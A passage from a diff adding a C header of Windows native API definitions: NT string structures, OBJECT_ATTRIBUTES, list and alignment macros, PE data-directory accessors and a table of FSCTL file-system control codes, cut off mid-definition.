31.05.2011 - end + +// +// Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. +// + +typedef char CCHAR; +typedef short CSHORT; +typedef CCHAR *PCCHAR; +typedef CSHORT *PCSHORT; +typedef ULONG CLONG; +typedef ULONG *PCLONG; + +typedef ULONG LOGICAL; +typedef ULONG *PLOGICAL; + +typedef LONG KPRIORITY; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING32 +{ + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32 *PUNICODE_STRING32; +#define UNICODE_NULL ((WCHAR)0) + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32 *PANSI_STRING32; + +typedef struct _STRING64 +{ + USHORT Length; + USHORT MaximumLength; + ULONG_PTR Buffer; +} STRING64; + +typedef STRING64 *PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64 *PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64 *PANSI_STRING64; + +typedef USHORT RTL_ATOM; +typedef RTL_ATOM *PRTL_ATOM; + +typedef UCHAR KIRQL; +typedef KIRQL *PKIRQL; + +typedef CONST char *PCSZ; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#if !defined( _WINNT_ ) + +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; + +#define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) + +#define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ + (PCHAR)(address) - \ + (PCHAR)(&((type *)0)->field))) +#endif + +typedef struct _TRIPLE_LIST_ENTRY +{ + struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; + struct _TRIPLE_LIST_ENTRY* Blink; +} TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; + +#define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) + +#ifndef RVATOVA +#define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) +#endif + +#ifndef NOP_FUNCTION +#define NOP_FUNCTION (void)0 +#endif +#define PAGED_CODE() NOP_FUNCTION; + +#if defined(USE_LPC6432) +#define LPC_CLIENT_ID CLIENT_ID64 +#define LPC_SIZE_T ULONGLONG +#define LPC_PVOID ULONGLONG +#define LPC_HANDLE ULONGLONG +#else +#define LPC_CLIENT_ID CLIENT_ID +#define LPC_SIZE_T SIZE_T +#define LPC_PVOID PVOID +#define LPC_HANDLE HANDLE +#endif + +#define OBJ_INHERIT 0x00000002L +#define OBJ_HANDLE_TAGBITS 0x00000003L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +//added 20.12.11 +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED) +#define ___PROCESSOR_NUMBER_DEFINED +typedef struct _PROCESSOR_NUMBER { + WORD Group; + BYTE Number; + BYTE Reserved; +} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; +#endif + +#if _WIN32_WINNT >= 0x0501 + +#define ANSI_NULL ((CHAR)0) +#define UNICODE_NULL ((WCHAR)0) + +#ifndef UNICODE_STRING_MAX_BYTES +#define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) +#endif + +#define UNICODE_STRING_MAX_CHARS (32767) + +#define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ + const WCHAR _variablename ## _buffer[] = _string; \ + const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; + +#endif // _WIN32_WINNT >= 0x0501 + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define InitializeListHead(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = (ListHead)) + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define RemoveHeadList(ListHead) \ + (ListHead)->Flink;\ + {RemoveEntryList((ListHead)->Flink)} + +#define RemoveTailList(ListHead) \ + (ListHead)->Blink;\ + {RemoveEntryList((ListHead)->Blink)} + +// VOID +// RemoveEntryList( +// IN PLIST_ENTRY Entry +// ); +#define RemoveEntryList(Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_Flink;\ + _EX_Flink = (Entry)->Flink;\ + _EX_Blink = (Entry)->Blink;\ + _EX_Blink->Flink = _EX_Flink;\ + _EX_Flink->Blink = _EX_Blink;\ + } + + +// VOID +// InsertTailList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertTailList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Blink = _EX_ListHead->Blink;\ + (Entry)->Flink = _EX_ListHead;\ + (Entry)->Blink = _EX_Blink;\ + _EX_Blink->Flink = (Entry);\ + _EX_ListHead->Blink = (Entry);\ + } + +// VOID +// InsertHeadList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertHeadList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Flink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Flink = _EX_ListHead->Flink;\ + (Entry)->Flink = _EX_Flink;\ + (Entry)->Blink = _EX_ListHead;\ + _EX_Flink->Blink = (Entry);\ + _EX_ListHead->Flink = (Entry);\ + } + +// BOOL +// COUNT_IS_ALIGNED( +// IN DWORD Count, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define COUNT_IS_ALIGNED(Count,Pow2) \ + ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + +// BOOL +// POINTER_IS_ALIGNED( +// IN LPVOID Ptr, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define POINTER_IS_ALIGNED(Ptr,Pow2) \ + ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + + +#define ROUND_DOWN_COUNT(Count,Pow2) \ + ( (Count) & (~((Pow2)-1)) ) + +#define ROUND_DOWN_POINTER(Ptr,Pow2) \ + ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) + + +// If Count is not already aligned, then +// round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. +// +// DWORD +// ROUND_UP_COUNT( +// IN DWORD Count, +// IN DWORD Pow2 +// ); +#define ROUND_UP_COUNT(Count,Pow2) \ + ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) + +// LPVOID +// ROUND_UP_POINTER( +// IN LPVOID Ptr, +// IN DWORD Pow2 +// ); + +// If Ptr is not already aligned, then round it up until it is. +#define ROUND_UP_POINTER(Ptr,Pow2) \ + ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) + +#define ALIGN_BYTE 1 +#define ALIGN_CHAR 1 +#define ALIGN_DESC_CHAR sizeof(DESC_CHAR) +#define ALIGN_DWORD 4 +#define ALIGN_LONG 4 +#define ALIGN_LPBYTE 4 +#define ALIGN_LPDWORD 4 +#define ALIGN_LPSTR 4 +#define ALIGN_LPTSTR 4 +#define ALIGN_LPVOID 4 +#define ALIGN_LPWORD 4 +#define ALIGN_TCHAR sizeof(TCHAR) +#define ALIGN_WCHAR sizeof(WCHAR) +#define ALIGN_WORD 2 +#define ALIGN_QUAD 8 + +#define ALIGN_WORST 8 + +//03.06.2011 - added +#define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) +//03.06.2011 - end + +// Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); + +// 31.05.2011 - added +#define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) +#define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) +#define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) +#define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) + +#define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) +#define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) +#define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) +#define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) +#define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) +#define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) +// 31.05.2011 - end + +#define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) +#define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) +// 09.06.2011 - begin + +//21.12.2011 added +#if !defined(_FILESYSTEMFSCTL_) +#define _FILESYSTEMFSCTL_ + +#define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 9 +#define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, +#define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 13 +#define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissioned fsctl value 17 +// decommissioned fsctl value 18 +#define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_INVALIDATE_VOLUMES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER +#define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS + +#if (_WIN32_WINNT >= 0x0400) +#define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER +#define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER +#define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER +#define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER +#define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, +#define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decomissioned fsctl value 31 +#define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) +// decommissioned fsctl value 33 +// decommissioned fsctl value 34 +#define FSCTL_FIND_FILES_BY_SID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 36 +// decommissioned fsctl value 37 +#define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER +#define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, +#define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, +#define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN +#define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, +#define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER +#define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) +// decommissioned fsctl value 52 +#define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER +#define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, +#define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file +#define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record +#define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissional fsctl value 66 +// decommissioned fsctl value 67 +// decommissioned fsctl value 68 +#define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 70 +#define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) +#define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W +#define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS +#define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE +// decommissioned fsctl value 80 +#define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 83 +#define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 93 +#define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +// decommissioned fsctl value 96 +// decommissioned fsctl value 97 +// decommissioned fsctl value 98 +#define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 105 +#define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation +#define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION +#define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// +// Values 111 - 119 are reserved for FSRM. +// + +#define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ + CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_LIST_TRANSACTIONS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0600) +#define 